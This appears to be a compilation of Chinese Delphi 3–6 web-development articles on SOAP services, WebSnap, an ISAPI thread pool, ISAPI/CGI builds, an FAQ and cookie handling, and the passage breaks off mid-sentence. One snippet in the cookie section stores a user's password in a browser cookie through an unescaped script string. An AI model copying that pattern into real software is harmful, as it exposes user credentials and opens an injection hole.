要调用可调用接口，客户端应用程序必须包含所有定义可调用接口和实现复合类型的可远程传送类的单元。如果服务器是用Delphi书写的，这些单元应当与服务器程序用于定义和注册这些接口和类的单元相同。最好使用相同的单元，原因是当注册可调用接口或者可远程传送类的时候，会给出唯一标志它的统一资源定位符（URI）。这个URI源于接口（或者类）的名称以及定义它的单元的名称。如果客户端和服务器不使用相同的URI注册接口（或者类），它们就无法通信。如果不使用相同的单元，注册接口和实现类的代码必须显式定义一个名字空间URI以保证客户端和服务器使用相同的名字空间。

如果服务器不是用Delphi书写的，或者你不想在客户端使用与服务器所使用的相同的单元，可以使用Web Services引入者创建这些单元。

一旦客户端应用程序拥有了可调用接口的声明，就可以为想要使用的接口创建一份THTTPRio实例：

X := THTTPRio.Create(nil);

接下来，为THTTPRio对象提供它所需要的识别服务器接口和定位服务器的信息。有两种办法提供这些信息：

如果服务器是用Delphi书写的，基于当接口被注册时为其生成的URI，识别服务器接口的工作可以被自动处理。你只需要设定URL属性来指定服务器的位置。这个URL的路径部分要与服务器Web Module中的调度者组件的路径相一致：

X.URL := 'http://www.myco.com/MyService.dll/SOAP/';

如果服务器不是用Delphi书写的，THTTPRio必须从一份WSDL文档中查找接口的URI，必须被包括在SOAP动作头中的信息，以及服务器的位置。需要使用WSDLLocation、Service和Port属性来指引完成这些动作：

X.WSDLLocation := 'Cryptography.wsdl';
X.Service := 'Cryptography';
X.Port := 'SoapEncodeDecode';

你可以使用as操作符将THTTPRio实例转换成可调用接口。当进行这种操作的时候，就会在内存中动态创建一份关联接口的虚表，使你可以进行接口调用：

InterfaceVariable := X as IEncodeDecode;
Code := InterfaceVariable.EncodeValue(5);

THTTPRio依靠引用注册表获取关于可调用接口的信息。如果客户端程序不具有一份引用注册表，或者可调用接口没有注册，THTTPRio就无法构造它的内存虚表。

（完）


WebService之Hello World

SOAP 号称 Microsoft 之梦，也是 Borland 给 Delphi 6 定下的最大卖点，可惜一直没能弄明白，虽然在6月14日的DELPHI6上海发布会上见识过（见：http://mental.top263.net/mentals/it/borland/delphi6sh.htm），但因为以前从未接触过，直到DELPHI6即将推出前才知道有SOAP一说，而且在6月14日之前还一直不知道所谓的SOAP是个什么东东，DELPHI6的帮助又太不详细，那两个DEMO又太复杂，而且还不是用的HTTP，只好自己研究，最近这两天，总算有大突破，所以来此与大家分享：
鉴于DELPHI6自带的DEMO太复杂，我在这里写一个简单的HelloWorld，用Windows98+PWS实现：
服务端：
1.New¦WebServices¦SoapServerApplication，选ISAPI（如果你想试试 DELPHI6 新增的 Web App Debbuger，也可以选它，关于它我想另外再说）；
2.SaveAll, Unit1命名为：MainWM，Project1命名为：SoapTest；
3.在MainWM中的Uses中加入：InvokeRegistry
4.自定义一个接口，及其对应类的实现：
ISoapHello = Interface ( IInvokable )
['{6DF34980-6FFC-11D5-9E62-0050BABD8FE1}'] // 这个GUID你自己用 Ctrl+Shift+G 产生
Function GetHello( aID : Integer ) : WideString; StdCall;
End;

TSoapHello = Class ( TInvokableClass, ISoapHello )
Protected
Function GetHello( aID : Integer ) : WideString; StdCall;
End;
5.实现GetHello函数：
Function TSoapHello.GetHello( aID : Integer ) : WideString;
Begin
If ( aID = 1 ) Then
Result := 'Hello world!'
Else
Result := 'Error ID!';
End;
6.注册接口和类：
Initialization
InvRegistry.RegisterInterface( TypeInfo( ISoapHello ) );
InvRegistry.RegisterInvokableClass( TSoapHello );
7.编译之即可产生：SoapTest.dll

启动PWS，设置虚拟目录soap为soaptest.dll所在的目录，权限为执行
打开IE，输入URL为：http://localhost/soap/soaptest.dll/wsdl
即可看到一个表格，显示了此SOAP服务（即所谓的Web Service）所提供的WSDL

WebService Listing

Port Type | Namespace URI | Documentation | WSDL
IWSDLPublish | urn:WSDLPub-IWSDLPublish |  | WSDL for IWSDLPublish
ISoapHello | urn:Unit1-ISoapHello |  | WSDL for ISoapHello

其中应该有我们自定义的接口：ISoapHello
点其链接将返回一个XML文档
<?xml version="1.0" ?>
- <definitions xmlns="http://schemas.xmlsoap.org/wsdl/" xmlns:xs="http://www.w3.org/2001/XMLSchema" name="ISoapHelloservice" targetNamespace="http://www.borland.com/soapServices/" xmlns:tns="http://www.borland.com/soapServices/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
- <message name="GetHelloRequest">
<part name="aID" type="xs:int" />
</message>
- <message name="GetHelloResponse">
<part name="return" type="xs:string" />
</message>
- <portType name="ISoapHello">
- <operation name="GetHello">
<input message="tns:GetHelloRequest" />
<output message="tns:GetHelloResponse" />
</operation>
</portType>
- <binding name="ISoapHellobinding" type="tns:ISoapHello">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" />
- <operation name="GetHello">
<soap:operation soapAction="urn:Unit1-ISoapHello#GetHello" />
- <input>
<soap:body use="encoded" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" namespace="urn:Unit1-ISoapHello" />
</input>
- <output>
<soap:body use="encoded" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" namespace="urn:Unit1-ISoapHello" />
</output>
</operation>
</binding>
- <service name="ISoapHelloservice">
- <port name="ISoapHelloPort" binding="tns:ISoapHellobinding">
<soap:address location="http://localhost/soap/helloworld.dll/soap/ISoapHello" />
</port>
</service>
</definitions>

客户端：
1.New¦Application
2.SaveAll，Unit1命名为ClnMain，Project1命名为SoapClient
3.New¦WebServices¦WebServicesImporter，在URL中输入：http://localhost/soap/soaptest.dll/wsdl/isoaphello，如果上面用IE看没错的话，这时确定后将产生一个单元，其中有我们在服务端定义的接口
4.SaveAll，Unit1命名为SoapIntf，再在ClnMain中Uses加入SoapIntf
5.在Form1上放上Edit, Label, Button, HTTPRIO（在Web Services页中的第一个）四个控件，设置HTTPRIO1.URL为：http://localhost/delphi6/soap/soaptest.dll/soap
6.双击Button1输入下面的程序：
Var
p : ISoapHello;
begin
p := HTTPRIO1 As ISoapHello;
Label1.Caption := p.GetHello( StrToInt( Edit1.Text ) );
end;
7.编译运行，在Edit1中输入"1"按Button1，Label1将显示"Hello world!"
输入其它数字将显示"Error ID!"

SOAP so easy.
^_^


Delphi6 新体验--WebSnap入门

Delphi6 新体验--WebSnap入门（一）
John Kaster

摘　要：如何使用WebSnap平台构架一个功能完备、基于浏览器的
关键字：WebSnap,web服务器,Delphi6
类　别：网络

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

翻译：grhunter

WebSnap 基础

WebSnapTM是D6企业版中的一种新的基于组件的组件平台，用于快速开发Web服务器应用。本文将介绍如何创建一个简单的WebSnap服务器，为包括图像字段的数据集提供完备的编辑和浏览界面。在本文中你将可以看到，根本无需写一行代码，就可以完全实现需要的功能。

现在开始。

创建 WebSnap 服务器

首先，我们需要找到WebSnap工具栏。在D6企业版IDE工具栏上右击，显示Internet工具栏，如下所示：

WebSnap 工具栏

第一个图标（地球下面一只手那个）用于创建新的WebSnap应用程序。点一下，WebSnap向导出现了。我们要指定web页面的名称，还要将程序设置为Web App Debugger应用，这样，我们就能利用D6专业版和企业版中的web服务器（用Delphi构建）。假设我们把服务器称作BasicDemo：

WebSnap Application Wizard

点击OK按钮后，将得到一个标准的Delphi窗体（可以用来监测web服务器何时处于运行状态）和一个WebModule，包括了web页面要用的组件。这些组件用以接收页面请求，当用户点击特定链接或者按钮时分派浏览器客户端请求。

Home 页面模块

创建数据模块

现在要创建一个WebSnap数据模块，用来从数据集发布信息。点击WebSnap工具栏的第三个按钮（地球前面有一个数据集那个）。然后，从组建面板Data Access页拖一个TclientDataSet到上面，在FileName属性中，指定旧Paradox Biolife表的MyBase XML数据集版本。应该是在\Program Files\Common Files\Borland Shared\Data目录下的biolife.xml文件。这个数据集包含图像字段和备注字段，还有普通的数值、文字字段。这些字段都可以用WebSnap来发布和编辑。

支持无状态服务器

指定ClientDataSet的文件名后，转到Object TreeView，展开ClientDataset，在Fields上点击，右击添加所有字段到树形视图。WebSnap为数据库操作创建无状态服务器，我们要为数据集指定一个主键，这样才能进行客户端的浏览和操作请求。用Species No作为主键。第一步，在Object Treeview中选择这个字段：

WebDataModule 的Object Treeview

然后，在Object inspector中修改ProviderFlags属性，将pfInKey设置为True，指定Species No为数据集主键。

注：如果没有找到这个数据集，也可以通过BDE用Paradox表。唯一不同之处：需要直接放置一个BDE session组件，将AutoSessionName属性设置为True，然后用一个Ttable组件指向DBDEMOS biolife.db表。其它步骤一样。

Species No 在Object Inspector中显示的属性

发布数据到浏览器

设置好数据集主键后，在WebSnap组件面板选择DataSetAdapter，如下图：

WebSnap组件面板

把DataSetAdapter放到DataModule上。现在，DataModule看起来应该象这个样子：

WebDataModule：包括Dataset 和 DataSetAdapter

现在把这个adapter和dataset连结起来。如下图所示，Object Inspector提供了组件参考的行内扩展支持。注意，数据集属性用不同的颜色和缩进来表示：

Object Inspector 中的组件参考

下一步不是必需的。为了描述清晰起见，仍要说明一下。回到Object Treeview，展开adapter的属性，为数据集添加所有命令适配器(adapter)和字段适配器（右击Actions和Fields）。可以看到，所有的标准数据集操作都受到支持（导航和数据修改）。字段适配器为任意数据集中的数据提供显示和编辑支持，包括含有文字或图像的Blob字段。

在Object Treeview中添加适配器

Delphi6 新体验--WebSnap入门（二）
John Kaster

摘　要：如何使用WebSnap平台构架一个功能完备、基于浏览器的
关键字：WebSnap,web服务器,Delphi6
类　别：网络

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

（接上文）
用DataSetAdapter显示数据表格

用WebSnap工具栏的第二个按钮（地球前面的文档那个按钮）为web服务器创建另一个页面，称之为"Grid"页。除了Type设置为AdapterPageProducer外，其它用缺省的设置。如果Published被选中，主页就会出现指向Grid的链接。

WebSnap Page Module向导

在这个单元中Use先前的WebDataModule（Unit3），这样，就可以看到DataSetAdapters的声明。然后，在Object Treeview中，右击AdapterPageProducer的WebPageItems，添加一个AdapterForm组件，在给它添加一个AdapterGrid。

添加AdapterGrid

将AdapterGrid的Adapter属性设置为WebDataModule的数据集适配器（WebDataModule3.DataSetAdapter1），然后点击编辑器中的preview（预览）页，察看数据集中的数据。

预览Grid（点击图片放大）

现在grid看起来不那么爽，因为Notes字段使每行数据显得太大了。好，我们来重载缺省的显示，添加需要显示的字段。在Object Treeview中右击AdapterGrid，选择"Add Columns（添加栏）"，如下图所示：

添加指定的栏

Object Treeview看起来会像这样：

更新Object TreeView

现在预览视图中值显示选择了的栏位：

新的grid（点击放大）

编辑数据

用同一个向导（WebSnap工具栏的第二个按钮）创建编辑页面。使用如下图所示的属性值：

用WebSnap向导创建EditPage

和创建Delphi图形界面程序一样，这里我们也用同样的数据模块创建基于WebSnap的编辑界面。别忘了Use Unit3。在Object Treeview中右击，添加以下组件：

添加组件

连结AdapterFieldGroup和AdapterErrorList到DataSetAdapter（Adapter属性）。指定AdapterCommandGroup的DisplayGroup属性为AdapterFieldGroup。如果预览视图当前处于活动状态，你会看到一条关于需要属性的警告信息，帮助你正确设置组件参考。AdapterFieldGroup可以把数据显示为浏览模式或编辑模式。AdapterErrorList显示用户操作引起的任何数据确认错误。

设置页面链接

我们已经为指定的记录做好了编辑/浏览页面。支持在编辑和浏览模式之间直接跳转、操作grid中的记录，应该会是一个好主意。选择Unit4（Grid），在Object Treeview中右击AdapterGrid1，添加一个AdapterCommandColumn。可以看到，command column缺省地在一行中显示所有按钮。首先，把AdapterCommandGroup的Display columns属性设置为1。这样，按钮就能够垂直排列了。我们只需要其中的四个按钮，所以，右击AdapterCommandColumn，添加需要在grid中显示的命令。

在grid上添加命令

grid现在看起来好些了：

grid预览（点击放大）

在Object Treeview中，选择CmdEditRow、CmdBrowseRow和CmdNewRow，把它们的PageName属性设置为"EditPage"。这将会为这些按钮设置"按页面名称"链接。

一切就绪，准备测试。保存所有文件，运行程序。

Delphi6 新体验--WebSnap入门（三）
John Kaster

摘　要：如何使用WebSnap平台构架一个功能完备、基于浏览器的
关键字：WebSnap,web服务器,Delphi6
类　别：网络

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

（接上文）
Web App Debugger

Web App Debugger包括在D6专业版和企业版中。我们可以利用它来高效地调试WebSnap应用。可以在web服务器程序中设置断点。从Tools菜单运行Web App Debugger，点击Start按钮。如下图所示：

Web App Debugger

要察看Web App Debugger是否注册，点击Server info链接。在下面的列表中，可以注意到我已经注册了D6企业版的所有WebSnap demo。在列表中部，是刚才创建和注册的WebSnap服务器。

注册的WebApp Debugger servers（点击放大）

点击"View Details"链接，可以察看详细信息。

服务器细节（点击放大）

点击ServerInfo列表视图的"Go"按钮，显示我们的服务器页面。或者点击细节视图中的链接。如下所示：

浏览器中的主页（点击放大）

点击Grid链接，显示数据表格：

数据表格（点击放大）

在表格中选择一行，点击EditRow按钮。可以在页面中编辑记录。注意，我们甚至可以改变图像，只要简单地点击browse按钮，选择一个新图像文件，然后点击Apply按钮。

编辑模式（点击放大）

要确定是在同一页编辑，点击BrowseRow，可以看到图像。在编辑模式也可以显示图像。目前，所有的适配器字段的ViewMode属性都设置为vmDefault，表示从AdapterFieldGroup的当前ViewMode取得设置值。如果想总是显示图像，可以在field group中添加一个AdapterDisplayField，指定给图像字段，将ViewMode属性设置为vmDisplay。

浏览模式（点击放大）

点击EditRow按钮，切换回编辑状态，输入一些非法数据。试着保存更改，会看到下面的样子：

错误捕获（点击放大）

如果点击Cancel，改动将不会保存。

通过上面的介绍，我们可以了解到WebSnap最初级的应用。WebSnap是一个具备高度灵活性和扩展性的基于组件的Web服务器开发平台，还有许多需要发掘的内容。这都有待在以后的文章中继续探讨了。

本文例子下载：例子程序
作者简介：John Kaster是Borland公司开发人员关系部门职员

翻译：grhunter
投稿人：grhunter　投稿日期：2001-7-11 9:05:00


Web Snap测试心得报告

Web Snap测试心得报告（转）
BrainChang

摘　要：
关键字：Web Snap
类　别：API
Hello，同学们：

    今天测试了Delphi 6中Web Snap的功能，想趁记忆犹新时把心得写下，不然再继续埋首下去研究连基础的观念都会忘了，有时其实最好讨论的对象不是经验丰富的老手，而是尚嫩的新手，从一些讨论中可以推敲出许多基本而重要的观念。

    当我在接触在Web Snap时最先看的便是其Web除错功能，Delphi 5真是超难用的，除错非常麻烦；在Delphi 6当中改进了这个缺点，当您在建立一个新的Web Application时会有很多项的选择，如ISAPI、CGI、Win-CGI之类的，在最下面有一个CoClassName的选项，假如您要有除错型的Web Application Project，那么就选这项，到时候再改成DLL型式的；Delphi 6的Web除错功能写成一个COM Server，基本上你只要Run一下程式，玩玩很快就会了。

    我觉得这个除错的COM Server还不错，但是似乎还不是很完整，当我要在浏览器上UnRegister一个註册的程式时，按下Clean后，会出现坏掉的页面，而且还会不小心就把除错的COM Server给UnRegister掉，还要重新註册；不过我也因此学会了Trouble Shoting的技巧。

    在Delphi 6中Web Snap下附的范例有一个Toturials的专案，先执行这个专案，里面有告诉您如何Step By Stpe的建立Web Snap的专案，强烈建议您照着里面的步骤做一次，这可节省您摸索的时间；我照着其中拖拉点放做完后基本观念大概就建立起来。

    第二个我们需要非常重视Web Snap的是其网站管理功能，记得在Delphi 5当中WebBroker最主要是以WebItem的方式来回应HTTP Request，丑丑的，每一个WebItem用来回应一个HTTP Request；整个Web Application就在这些中，那种感觉很怪啦！Delphi的Developer需要的像是Frontpage或Dreamweaver那样成熟、完整的网站管理功能，One Click就可以Publish一个网站，而且用树状图来表示网站结构。

    在Web Snap当中的专案基本上可以说以每一个Web Data Module或是Web Page Module来回应一个HTTP Request（用Web Snap开发的专案完全Match您心目中的网站开发架构）；再白话一点当您产生一个Web Module时会产生三个档案，分别是…。pas：用来装程式码的……frm：用来装Module的，可在上面放Component.。html：对於每个Web Modeul都会产生预设的HTML档案用来回应HTTP Request，所以您可以不用设Page Producer了，当然要改变也是可以的；或许当您熟悉Web Snap的开发方式之后这没什么，但在一开始时就会有很大的感受；）

    Application Adapter元件会自动帮您管理网页之间连结的功能，通常我们在设计网站不是有些文字要在每个Page都出现的吗？Application Adapter可以帮您做到这项要求。

    在Web Snap当中一大堆XXXAdapter的元件，这是瞭解Web Snap精神的关键，我印象中TDataSetAdapter是用来与资料集元件（Ttable、Tquery…）来做连结的，可以转成网页型式的Dataset，在HTML中以嵌入Script的方式来很方便Output这些Dataset；而PageProducerAdapter可以再与TdatasetAdapter连结，让您很方便的设计HTML Form，根本不用写程式，在Toturials当中的Country Editor就是没写一行程式，而做出了可以新增、删除、修改的功能。

    我接下来就是要对於这些XXXAdapter各个击破了，以及对於架构上有更深入的瞭解。

    Ps.很抱歉，没有那些Class、Method详细列出来，因为家中电脑一台楼上可用Delphi，楼下一台可上网，不便把资料找来找去。

    Brian
投稿人：Richard　投稿日期：2001-8-24 21:45:00


给ISAPI增加请求队列和线程池

Quinton Bernhardt

摘　要：给ISAPI .DLL增加请求队列和线程池
关键字：ISAPI WebBroker
类　别：网络

中文开发在线原创作品，未经允许，严禁任何形式的转载

unit uISAPIThreadPool;
(*
摘要
=======
这个单元为Delphi 5 ISAPI Web应用实现了线城池。
如果全部线程都忙，线程池将线程排队，不同与TISAPIApplication产生"500 Internal Server Error"
环境
===========
在Win2k Professional/Server 和IIS 5上测试
使用
====
将这个单元放在uses 子句ISAPIApp enty后（主要web工程源程序），这将覆盖3个exports （HttpExtensionProc, GetExtensionProc & TerminateExtension）
当前TThreadPool的例子用25作为线程池的大小。这是可变的。Microsoft MFC例子用10。调整这个大小以达到最佳表现。

*)
interface
uses ISAPI2,Windows;

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL; stdcall;
function HttpExtensionProc(var ECB: TEXTENSION_CONTROL_BLOCK): DWORD; stdcall;
function TerminateExtension(dwFlags: DWORD): BOOL; stdcall;

implementation
uses ISAPIApp, SysUtils, Classes;
type
TThreadWorkData = Record
ECB: PEXTENSION_CONTROL_BLOCK;
SecurityToken: THandle;
end;
PThreadWorkData = ^TThreadWorkData;
TThreadPool = class
private
FPool: Array of THandle;
FCompletionPortID: THandle;
public
function newInstanceData(ECB: PEXTENSION_CONTROL_BLOCK; SecToken: THandle): PThreadWorkData;
constructor Create(InitThreads: Integer);
function postWorkItem(ECB: PEXTENSION_CONTROL_BLOCK): LongBool;
destructor Destroy; override;
property CompletionPortID: THandle read FCompletionPortID;
end;

var ThreadPool: TThreadPool;
function WorkerFunc(Context: TThreadPool): Integer;
var SLen: Cardinal;
SData: PThreadWorkData;
OL: POverLapped;
CompletionPortID: THandle;
begin
CompletionPortID:= Context.CompletionPortID;
While GetQueuedCompletionStatus(CompletionPortID, SLen, Cardinal(SData), OL, INFINITE) do
try
try
if (OL = Pointer($FFFFFFFF)) then break;
ImpersonateLoggedOnUser(SData^.SecurityToken);
ISAPIApp.HttpExtensionProc(SData^.ECB^);
With SData^.ECB^ do
ServerSupportFunction(ConnID, HSE_REQ_DONE_WITH_SESSION, nil , nil, nil);
finally
CloseHandle(SData^.SecurityToken);
(* BUGFIX (1-dec-2000) only Dispose of SData if OL <> $ffffffff *)
if SData <> Nil then Dispose(SData);
end;
except //未处理的例外，不要退出工作线程
(*
永不会发生
ISAPIApp.HttpExtensionProc 已截取所有的例外，并且Win32 函数用来返回错误码，即它们不产生例外
*)
end;
Result:= 0;
end;
function TThreadPool.newInstanceData(ECB: PEXTENSION_CONTROL_BLOCK; SecToken: THandle): PThreadWorkData;
begin
New(Result);
Result^.ECB:= ECB;
Result^.SecurityToken:= SecToken;
end;
function TThreadPool.postWorkItem(ECB: PEXTENSION_CONTROL_BLOCK): LongBool;
var SecToken: THandle;
begin
//打开这个函数的调用安全串
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, False, SecToken);
Result:= PostQueuedCompletionStatus(FCompletionPortID, 0,
Cardinal(newInstanceData(ECB, SecToken)),
Nil);
end;
constructor TThreadPool.Create(InitThreads: Integer);
var i: integer; FThreadID: LongWord;
begin
FCompletionPortID:= CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0);
SetLength(FPool, InitThreads);
for i:= 0 to InitThreads - 1 do
FPool[i]:= BeginThread(nil, 0, @WorkerFunc, Self, 0, FThreadID);
end;
destructor TThreadPool.Destroy;
var i: integer;
begin
for i:= 0 to Length(FPool)-1 do
PostQueuedCompletionStatus(FCompletionPortID, 0, 0, Pointer($FFFFFFFF));
WaitForMultipleObjects(Length(FPool), @FPool, TRUE, 120000);
for i:= 0 to Length(FPool)-1 do
CloseHandle(FPool[i]);
CloseHandle(FCompletionPortID);
FPool:= Nil;
end;
function HttpExtensionProc(var ECB: TEXTENSION_CONTROL_BLOCK): DWORD;
var IsPosted: BOOL;
begin
try
//粘贴工作项目的completions port ，并且保存线程安全的上下文
IsPosted:= ThreadPool.postWorkItem(@ECB);
if not IsPosted then
Result:= HSE_STATUS_ERROR
else
Result:= HSE_STATUS_PENDING;
except
Result:= HSE_STATUS_ERROR;
end;
end;

function GetExtensionVersion(var Ver: THSE_VERSION_INFO): BOOL;
begin
ThreadPool:= TThreadPool.Create(25);
Result:= ISAPIApp.GetExtensionVersion(Ver);
end;

function TerminateExtension(dwFlags: DWORD): BOOL;
begin
ThreadPool.Free;
Result:= ISAPIApp.TerminateExtension(dwFlags);
end;
end.
===
投稿人：CoDelphi.com　投稿日期：2001-5-19 14:50:00


ISAPI和CGI的转换

Answer: The easiest way to do this is with conditional build and defining the target in the source. By simply commenting the {$define dll} line, you can build an EXE instead of a DLL.

Create a new Web Server Application by choosing "File->New, Web Server Application", and selecting a "ISAPI/NSAPI Dynamic Link Library." After the project has been created, save it, and click "Project->View Source." Copy and paste the sample code from below into the project source.

Download a sample project

Sample Code

// Comment or uncomment the line below to change from an ISAPI dll
// to a CGI app or vice-versa
//{$define dll}

{$ifndef dll}
program Project1;
{$APPTYPE
CONSOLE}
{$else}
library Project1;
{$endif}

uses
WebBroker,
{$ifdef dll}
ISAPIApp,
{$else}
CGIApp,
{$endif}
Unit1 in 'Unit1.pas' {WebModule1: TWebModule};

{$R *.RES}

{$ifdef dll}
exports
GetExtensionVersion,
HttpExtensionProc,
TerminateExtension;
{$endif}

begin
Application.Initialize;
Application.CreateForm(TWebModule1, WebModule1);
Application.Run;
end.


开发Web程序常见问题

 引子
    Web程序开发对开发工具提出了极大挑战，面对用户的众多需求，许多公司推出一大堆开发平台：开发桌面应用程序和C/S程序的，开发中间件的，开发Web服务器的。这造成程序员面对一大堆工具无从下手。

    DELPHI和其他开发工具不同，因为它是一个开放系统，只要灵活使用一些控件，即可开发出各种类型的系统，不论N－Tie程序、多线程程序、分布计算程序（包括DCOM和CORBAR）、TCP程序、Web程序、ActiveX、中间件、推程序（Push），甚至你可以用它来写汇编程序。

    DELPHI将ISAPI/NSAPI/CGI/WCGI等巧妙地封装成一个类，用户只要在编译时选择编译结果，就可以得到不同的系统。
    在DELPHI4中Inprise公司进一步加强了对Web程序开发的支持，可以开发出更好更强的系统。以下是开发Web应用程序中的几个常见问题，可以供大家参考。如果没有特别申明，则表示程序运行于 DELPHI 4下。

如何从Web Server Application返回一幅图像?
    Web Server Application不仅可以生成复杂的页面文档，也可以根据用户请求返回不同的图像。当然有比较简单的方法，根据输入参数不同，〈img src...〉标记也指向不同的URL地址。这里我们不用这个办法，而是利用DLL返回图像。
    当然要首先建立一个页面容器（page producer），内容如下：
    〈html〉
    〈body〉This is a test〈BR〉〈img src=″/scripts/mydll.dll/picture″〉〈/body〉
    〈/html〉

    接下来我们设定对应于PathInfo的动作事件，返回图像结果，源代码如下：
    （注意：单元声明中要包含JPEG单元）

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
    var
     Jpg: TJpegImage;
S: TMemoryStream;
    begin
     Jpg := TJpegImage.Create;
     try
     Jpg.LoadFromFile(′test′);
     S := TMemoryStream.Create;
     try
     Jpg.SaveToStream(S);
     S.Position := 0;
     Response.ContentType := ′image/jpeg′;
     Response.ContentStream := S;

     // 必须在流释放前完成
     Response. SendResponse;
     finally
     S.Free;
      end;
   finally
     Jpg.Free;
   end;
end;

    实际上用这种方法和前面提到的简单做法相比，具有更安全和更灵活的特点。在某些地方灵活使用，以此为基础稍加修改可以产生一般开发工具难以实现的效果。

如何在ISAPI/NSAPI动态连接库（DLL）中使用本地数据库驱动程序（native Access driver）？
    这是因为DAO 3.0 或者DAO 3.5是所谓thread－safe（线程安全程序），而一个Web服务器（例如IIS）会随用户请求产生多个线程，同时把ISAPI对应的DLL也列为线程。这时ISAPI就会通过BDE通知DAO，告诉它不符合线程安全规定。

    解决的方法有很多，如果你一定要访问Access 95/97库，那么可以通过ODBC访问。ODBC不会经过DAO，而且也是一个线程安全程序。此外还有一些第三方的控件集，通过他们可以直接由BDE访问Access 95/97，效率更高。

    用户访问我Web服务器上的ISAPI DLL，可是报告：“Invalid filename"（无效的文件名），然而文件的确存在的。对了，我的数据库在一台Novell 服务器上。这是为什么呢？

    你没有设定对应于你IUSR_XXX账户的驱动器路径映射（MAPING）。因为Novell不是采用FAT，所以要手工添加路径映射。当然，可以做成开机登录脚本。请牢记，如果你运行IIS作为Web服务器，而又涉及Novell，无论作为文件服务器或数据库服务器，都要定义好路径映射。

    “Invalid configuration parameter for alias {alias_name}"（无效的别名配置），当我设置一个ODBC DSN，并通过它访问ISAPI/NSAPI服务器时就出现这样一个错误。

    你如果要为访问的用户（IIS用户）建立一个ODBC别名，那么要注意创建一个SYSTEM DSN（系统DNS），而不要创建“用户DNS”，虽然“用户DNS”是缺省设定。

如何取得客户机（访问机器）的名称和IP地址？
    实现这个功能用TCP控件来做非常容易。从Internet页面上选取一个TCP控件，然后直接就可以得到你所需要的：
    Memo1.Lines.Add(TCP1.LocalHostName);
    Memo1.Lines.Add(TCP1.LocalIp);

    当然，如果你不希望这样做，还有比较复杂的办法：
    uses Winsock;
    procedure TForm1.FormCreate(Sender: TObject);
    var
    wVersionRequested : WORD;
    wsaData : TWSAData;
    begin
     {创建 WinSock}
     wVersionRequested := MAKEWORD(1, 1);
     WSAStartup(wVersionRequested, wsaData);
    end;

    procedure TForm1.Button1Click(Sender: TObject);
    var
p : PHostEnt;
s : array[0..128] of char;
p2 : pchar;
    begin
     {得到计算机名称}
     GetHostName(@s,128);
     p:=GetHostByName(@s);
     Memo1.Lines.Add(p^.h_Name);

      {得到机器IP地址}
     p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
     Memo1.Lines.Add(p2);
    end;

    procedure TForm1.FormDestroy(Sender: TObject);
    begin
     {释放 WinSock}
     WSACleanup;
    end;

    这是一个调用了WINSOCK的独立单元，你可以把它直接嵌入到你的程序中去。

在DELPHI 3中为何不能创建真正的多线程DLL？
    虽然DELPHI3中的ISAPI DLL向导已经为创建多线程DLL生成了大量代码，可是还是有一个严重的缺陷：没有申明本应用程序是一个多线程的程序。所以需要你添加一句话：
    IsMultiThread := TRUE;

    把这句话放在DPR程序begin－end块的开始处，使之成为第一句。

如何得知现在是否和Internet连接？
    最简单的办法是用一个TCP元件得到自己当前的IP，通过判断IP得知是否连入Internet。例如：
     if TCP1.LocalIp = '0.0.0.0' then
     ShowMessage('目前没有连入Internet!');

    需要注意的是：因为Internet和Intranet没本质区别，所以一般不能判定是和Internet连接还是仅仅连入Intranet。当然。你也可以再加一个PING元件，去PING一个比较稳定、速度比较快的站点，如果连通则表明已经接入Internet。不过这种办法通用性不好。

如何打印一个Web页面？
    可以选用HTML控件的AutoPrint方法。例如：
    uses Printers;

    procedure TForm1.Button1Click(Sender: TObject);
    var
     OldCur: TCursor;
   begin
    OldCur := Screen.Cursor;
    with Printer do
begin
     BeginDoc;
     HTML1.AutoPrint(handle);
     Title := HTML1.URL;
     EndDoc;
    end;

    Screen.Cursor := OldCur;
    end;

    此外还可以利用其PrintPage方法。不过我推荐你采用AutoPrint，因为这样控制更灵活，可以过滤一些你不希望打印的内容。


Cookie同SendRedirect的冲突

response.content := '<script>document.cookie="username=' + username + ';password=' + encodedpassword + 'expire etc........;"'</script>';
Technical Information Database

TI4523D.txt - Working with cookies

Category :Internet/WEB
Platform :All-32Bit
Product :All32Bit,

Description:
The purpose of this document is not to explain what a cookie is or what it is used for. Instead this document
assumes that you are familiar with the use of cookies and want to know how to work with them when
developing web server applications with Delphi 3.

The TWebRequest and TWebResponse objects provided in Delphi 3 both have properties which allow for
the easy use of cookies. TWebRequest has the Cookie and CookieFields properties to allow a web server
application to read the cookie header sent as part of a HTTP request. The TWebResponse object has the
Cookies property which allows a web server application to place a cookie on the client machine through the
cookie header of the HTTP response. This is usually set through the use of the SetCookieField method.

When a server responds to a HTTP request it sends a document with a header and a content section. Delphi
provides the ability to add a cookie header through the TWebResponse.Cookies property. This is best set
through the use of the SetCookieField method. The following TWebActionItem demonstrates the use of the
SetCookieField method to return a cookie to the requesting browser. This example uses localhost as the
domain. You would use this for testing and replace this string with your domain name. The third paramater is
a slash. This means that this cookie will be sent along with all requests from the browser while at this domain.
For further explainations of these paramaters see the aforementioned RFC 2109.

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
var
MyCookies: TStringList;
begin
MyCookies := TStringList.Create;
with MyCookies do begin
Add('Name=Frank Borland');
Add('Address=100 Borland Way');
Add('Product=Delphi');
end;
with Response do begin
SetCookieField(MyCookies, 'localhost', '/', (Now + 1), False);
Content := 'Cookie planted';
end;
end;

When a request is made of the HTTP server the client browser issuing the request will package up all of the
aplicable cookie name value pairs and include them in the HTTP requests cookie header. Delphi 3 will make
these available to a web server application in two ways. The first way is as a string through the Cookie
property of the TWebRequest paramater of a TWebActionItem. It is also available as a TStrings property
called CookieFields. CookieFields is the parsed contents of the Cookie header of an HTTP request message.

The following are TWebActionItems which extract the name value pairs and return them to the client in the
